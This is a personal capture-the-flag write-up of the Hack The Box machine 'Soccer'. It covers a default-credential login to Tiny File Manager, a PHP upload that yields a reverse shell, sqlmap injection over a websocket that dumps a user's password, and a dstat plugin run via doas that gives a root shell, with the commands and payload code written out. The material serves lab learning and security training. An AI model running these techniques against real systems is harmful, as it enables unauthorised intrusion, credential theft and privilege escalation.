#hackthebox #linux #easy ![[Pasted image 20250810153839.png]] # Information Gathering - Nmap As usual, I began with scanning all TCP ports. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -Pn -n --open --min-rate 3000 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 17:14 UTC Nmap scan report for 10.10.11.194 Host is up (0.049s latency). Not shown: 64668 closed tcp ports (reset), 864 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 9091/tcp open xmltec-xmlmail Nmap done: 1 IP address (1 host up) scanned in 17.47 seconds ``` Then I scanned the open ports again with `-sC`, `-sV` options ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -sCV -p 22,80,9091 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 17:16 UTC Nmap scan report for 10.10.11.194 Host is up (0.048s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA) | 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA) |_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://soccer.htb/ 9091/tcp open xmltec-xmlmail? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: | HTTP/1.1 400 Bad Request | Connection: close | GetRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 139 | Date: Sun, 10 Aug 2025 17:17:00 GMT | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error</title> | </head> | <body> | <pre>Cannot GET /</pre> | </body> | </html> | HTTPOptions, RTSPRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 143 | Date: Sun, 10 Aug 2025 17:17:01 GMT | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error</title> | </head> | <body> | <pre>Cannot OPTIONS /</pre> | </body> |_ </html> 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9091-TCP:V=7.95%I=7%D=8/10%Time=6898D407%P=x86_64-pc-linux-gnu%r(in SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\ SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo SF:ntent-Length:\x20139\r\nDate:\x20Sun,\x2010\x20Aug\x202025\x2017:17:00\ SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</ SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\ SF:r\nDate:\x20Sun,\x2010\x20Aug\x202025\x2017:17:01\x20GMT\r\nConnection: SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20 SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Sun,\ SF:x2010\x20Aug\x202025\x2017:17:01\x20GMT\r\nConnection:\x20close\r\n\r\n SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\ SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")% SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.36 seconds ``` Then I scanned top 10 UDP ports. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -sU --top-ports 10 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 17:20 UTC Nmap scan report for 10.10.11.194 Host is up (0.049s latency). PORT STATE SERVICE 53/udp closed domain 67/udp open|filtered dhcps 123/udp closed ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp closed netbios-dgm 161/udp closed snmp 445/udp closed microsoft-ds 631/udp closed ipp 1434/udp open|filtered ms-sql-m Nmap done: 1 IP address (1 host up) scanned in 6.39 seconds ``` --- # Enumeration The output of Nmap says it did now follow redirect to `http://soccer.htb` for the page on port 80. ```bash 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://soccer.htb/ ``` I mapped the IP address and the domain by adding them in `/etc/hosts` file. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ echo "10.10.11.194 soccer.htb" | sudo tee -a /etc/hosts [sudo] password for kali: 10.10.11.194 soccer.htb ``` ##### HTTP - TCP 80 This is the landing page of the website on port 80. It's just a plain website without any links. Nothing stood out to me. ![[Pasted image 20250810122342.png]] Because the landing page didn't contain much information, I ran `gobuster` to enumerate directories and I found `/tiny`. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ gobuster dir -u http://soccer.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://soccer.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/] ``` I navigated to `/tiny` and there was a login form. I think the server is powered by `H3K Tiny File Manager`. ![[Pasted image 20250810122656.png]] I searched for `Tiny File Manager default credentials` and found this from the official Tiny File Manager documentation. ![[Pasted image 20250810123055.png]] I tried the default credentials `admin:admin@123` and I was able to log in. It also reveals the version `2.4.3` ![[Pasted image 20250810122859.png]] I found an upload feature on the File Manager, so I'm going to try file upload attack manually. It even kindly tells us the destination folder. ![[Pasted image 20250810123735.png]] I intercepted the traffic of uploading a file called `crab.png` and I first tried changing the name of the file extension to `.php` and it was accepted. ![[Pasted image 20250810123953.png]] Then I replaced the PNG file with a simple php payload and it was still accepted by the server. ![[Pasted image 20250810124149.png]] Since I know where it's saved, I'm going to navigate to the path and see if we can perform command execution. Looks like it's an RCE. ![[Pasted image 20250810124544.png]] However, I noticed the file gets deleted after a few minutes, so I need to move fast to get a steady reverse shell out of that. On the same Burp repeater, I replaced the existing payload with the famous `php-reverse-shell` by `Pentest Monkey` and renamed the file as `revshell.php` ![[Pasted image 20250810125128.png]] Verified the reverse shell payload is uploaded. ![[Pasted image 20250810125010.png]] Got the initial access as `www-data` ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ rlwrap nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.14] from (UNKNOWN) [10.10.11.194] 54158 Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 17:50:23 up 36 min, 0 users, load average: 0.00, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data ``` # Privilege Escalation - Shell as `player` I found `user.txt` in `/home/player` but we the current user `www-data` doesn't have privileges to read the file. ```bash www-data@soccer:/home$ ls -la total 12 drwxr-xr-x 3 root root 4096 Nov 17 2022 . drwxr-xr-x 21 root root 4096 Dec 1 2022 .. drwxr-xr-x 3 player player 4096 Nov 28 2022 player www-data@soccer:/home$ cd player www-data@soccer:/home/player$ ls user.txt www-data@soccer:/home/player$ cat user.txt cat: user.txt: Permission denied ``` I found an unusual binary file that has a SUID bit set: `/usr/local/bin/doas`. ```bash www-data@soccer:~/html/tiny/uploads$ find / -type f -perm -4000 2>/dev/null /usr/local/bin/doas /usr/lib/snapd/snap-confine /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/bin/umount /usr/bin/fusermount /usr/bin/mount /usr/bin/su /usr/bin/newgrp /usr/bin/chfn /usr/bin/sudo /usr/bin/passwd /usr/bin/gpasswd /usr/bin/chsh /usr/bin/at /snap/snapd/17883/usr/lib/snapd/snap-confine /snap/core20/1695/usr/bin/chfn /snap/core20/1695/usr/bin/chsh /snap/core20/1695/usr/bin/gpasswd /snap/core20/1695/usr/bin/mount /snap/core20/1695/usr/bin/newgrp /snap/core20/1695/usr/bin/passwd /snap/core20/1695/usr/bin/su /snap/core20/1695/usr/bin/sudo /snap/core20/1695/usr/bin/umount /snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core20/1695/usr/lib/openssh/ssh-keysign ``` I didn't know what this was, so I looked it up on Google. Apparently, `doas` is used to assume the identity of another user on the system just like `sudo` ![[Pasted image 20250810131547.png]] The config file wasn't present in `/etc/doas.conf` but it was in `/usr/local/etc`. I noticed the config file is only allowing `player` to run commands. I guess I found this file too early haha I'll come back to this later but for now I need to privesc to `player` first. ```bash www-data@soccer:/usr/local/etc$ cat doas.conf permit nopass player as root cmd /usr/bin/dstat ``` `/etc/nginx/sites-enabled` has two files. Let's see how they are configured. ```bash www-data@soccer:/etc/nginx/sites-enabled$ ls default soc-player.htb ``` In `default`, as you can see whenever a request is received it redirects to `http://soccer.htb` ```bash www-data@soccer:/etc/nginx/sites-enabled$ cat default server { listen 80; listen [::]:80; server_name 0.0.0.0; return 301 http://soccer.htb$request_uri; } server { listen 80; listen [::]:80; server_name soccer.htb; root /var/www/html; index index.html tinyfilemanager.php; location / { try_files $uri $uri/ =404; } location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.4-fpm.sock; } location ~ /\.ht { deny all; } } ``` `soc-player.htb` is very interesting because it's a service running locally on port 3000. Basically, if an outside user makes a request to `soc-plyaer.soccer.htb`, `Nginx` receives the request and forwards the request to the service running on `localhost:3000`. ```bash www-data@soccer:/etc/nginx/sites-enabled$ cat soc-player.htb server { listen 80; listen [::]:80; server_name soc-player.soccer.htb; root /root/app/views; location / { proxy_pass http://localhost:3000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; } } ``` Alright I think we got a valuable hint from the file. Let's add `soc-player.soccer.htb` in our `/etc/hosts` file and visit the page. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ cat /etc/hosts | grep soc 10.10.11.194 soccer.htb soc-player.soccer.htb ``` It looks exactly the same site as `soccer.htb` but if you see the navbar, there are tabs that didn't exist on `soccer.htb`: `Match`, `Login`, and `Signup` ![[Pasted image 20250810135137.png]] I registered on the signup page and it directed me to `Tickets` page. ![[Pasted image 20250810135638.png]] It shows my ticket ID is 82398. When I type in my ticket ID, it returns `Ticket Exists` ![[Pasted image 20250810141935.png]] When I type random values, it returns `Ticket Doesn't Exist` ![[Pasted image 20250810141952.png]] However, when I attempted `SQL Injecttion` queries, it returned `Ticket Exists`. ![[Pasted image 20250810142023.png]] I intercepted the request on Burp and it turns out it's a `websocket`. ![[Pasted image 20250810142839.png]] Since we verified it's vulnerable to `SQLi`, I'm going to use `sqlamp` to exploit the websocket. First we are going to save this request as a file by right-clicking burp and selecting `Copy to file`. I named my file `soccer.req`. ![[Pasted image 20250810143158.png]] `sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch --risk 3 --level 5 --technique=B` command will run the sqlmap against the websocket with `Boolean injection` technique. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch ___ __H__ ___ ___[,]_____ ___ ___ {1.9.6#stable} |_ -| . ["] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 19:36:11 /2025-08-10/ custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y JSON data found in POST body. Do you want to process it? [Y/n/q] Y [19:36:12] [INFO] testing connection to the target URL [19:36:15] [INFO] checking if the target is protected by some kind of WAF/IPS [19:36:15] [INFO] testing if the target URL content is stable [19:36:15] [INFO] target URL content is stable [19:36:15] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic [19:36:16] [WARNING] (custom) POST parameter 'JSON #1*' does not appear to be dynamic [19:36:16] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable [19:36:16] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*' [19:36:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:36:17] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [19:36:17] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [19:36:18] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:36:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [19:36:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:36:21] [INFO] testing 'Generic inline queries' [19:36:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:36:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:36:23] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:36:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [19:36:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' ``` And it found the following injection point. ```bash sqlmap identified the following injection point(s) with a total of 103 HTTP(s) requests: --- Parameter: JSON #1* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: {"id":"-1781 OR 2915=2915"} --- ``` Then I ran `sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch --risk 3 --level 5 --technique=B --dbs --threads 10` command to enumerate database info. We found 5 databases including `soccer_db`. ```bash [19:57:23] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL 8 [19:57:23] [INFO] fetching database names [19:57:23] [INFO] fetching number of databases [19:57:23] [INFO] retrieved: 5 [19:57:25] [INFO] retrieving the length of query output [19:57:25] [INFO] retrieved: 5 [19:57:27] [INFO] retrieved: mysql [19:57:27] [INFO] retrieving the length of query output [19:57:27] [INFO] retrieved: 18 [19:57:33] [INFO] retrieved: information_schema [19:57:33] [INFO] retrieving the length of query output [19:57:33] [INFO] retrieved: 18 [19:57:38] [INFO] retrieved: performance_schema [19:57:38] [INFO] retrieving the length of query output [19:57:38] [INFO] retrieved: 3 [19:57:41] [INFO] retrieved: sys [19:57:41] [INFO] retrieving the length of query output [19:57:41] [INFO] retrieved: 9 [19:57:44] [INFO] retrieved: soccer_db available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] soccer_db [*] sys ``` Now it's time to enumerate tables inside `soccer_db` `sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch --risk 3 --level 5 --technique=B -D soccer_db --tables ```bash Database: soccer_db [1 table] +----------+ | accounts | +----------+ ``` Then I enumerated for `columns`. I could just moved on to dump the whole DB at this point, but I wanted to do this step-by-step. There are `email`, `id`, `password`, and `username` columns inside `accounts` table. ```bash sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch --risk 3 --level 5 --technique=B --threads 10 -D soccer_db -T accounts --columns Database: soccer_db Table: accounts [4 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | email | varchar(40) | | id | int | | password | varchar(40) | | username | varchar(40) | +----------+-------------+ ``` Finally, after checking all the information, I dumped the DB and found a single entry. ```bash sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch --risk 3 --level 5 --technique=B --threads 10 -D soccer_db -T accounts --dump Database: soccer_db Table: accounts [1 entry] +------+-------------------+----------------------+----------+ | id | email | password | username | +------+-------------------+----------------------+----------+ | 1324 | [email protected] | PlayerOftheMatch2022 | player | +------+-------------------+----------------------+----------+ ``` Now with this information, I can go back to the shell and login as `player`. ```bash www-data@soccer:/etc/nginx/sites-enabled$ su player Password: player@soccer:/etc/nginx/sites-enabled$ whoami player player@soccer:/etc/nginx/sites-enabled$ id uid=1001(player) gid=1001(player) groups=1001(player) ``` Now I can read the `user.txt` file in `/home/player` ```bash player@soccer:~$ cat user.txt 62d... ``` # Privilege Escalation - shell as `root` Remember that earlier I found `/usr/local/bin/doas` has SUID bit set. Also, I found that `doas.conf` file specifies that the user `player` can run `/usr/bin/dstat` as `root`. ```bash player@soccer:/usr/local/etc$ cat doas.conf permit nopass player as root cmd /usr/bin/dstat ``` We can read, write, and execute in `/usr/local/share/dstat` directory. ```bash player@soccer:/usr/local/share$ ls -la total 24 drwxr-xr-x 6 root root 4096 Nov 17 2022 . drwxr-xr-x 10 root root 4096 Nov 15 2022 .. drwxr-xr-x 2 root root 4096 Nov 15 2022 ca-certificates drwxrwx--- 2 root player 4096 Aug 10 20:12 dstat drwxrwsr-x 2 root staff 4096 Nov 17 2022 fonts drwxr-xr-x 5 root root 4096 Nov 17 2022 man ``` So, I'm going to create a simple python file, since `dstat` runs python, and run the `dstat` as `root` privilege. For the file to be recognized by `dstat`, you have to prepend your file name with `dstat_[filename]` in `/usr/local/share/dstat` directory. ```bash player@soccer:/usr/local/share/dstat$ vi dstat_wook.py player@soccer:/usr/local/share/dstat$ cat dstat_wook.py import os os.execv("/bin/bash", ["sh"]) ``` `dstat --list` reveals my file `wook` at the bottom. ```bash player@soccer:/usr/local/share/dstat$ dstat --list internal: aio, cpu, cpu-adv, cpu-use, cpu24, ... <SNIP> /usr/share/dstat: battery, battery-remain, condor-queue, ... <SNIP> /usr/local/share/dstat: wook ``` `doas /usr/bin/dstat --wook` runs the code and got me a shell as `root`. ```bash player@soccer:/usr/local/share/dstat$ doas /usr/bin/dstat --wook /usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses import imp sh-5.0# whoami root sh-5.0# id uid=0(root) gid=0(root) groups=0(root) ``` Found `root.txt` ```bash sh-5.0# cd /root sh-5.0# ls app root.txt run.sql snap sh-5.0# cat root.txt 2f6... ```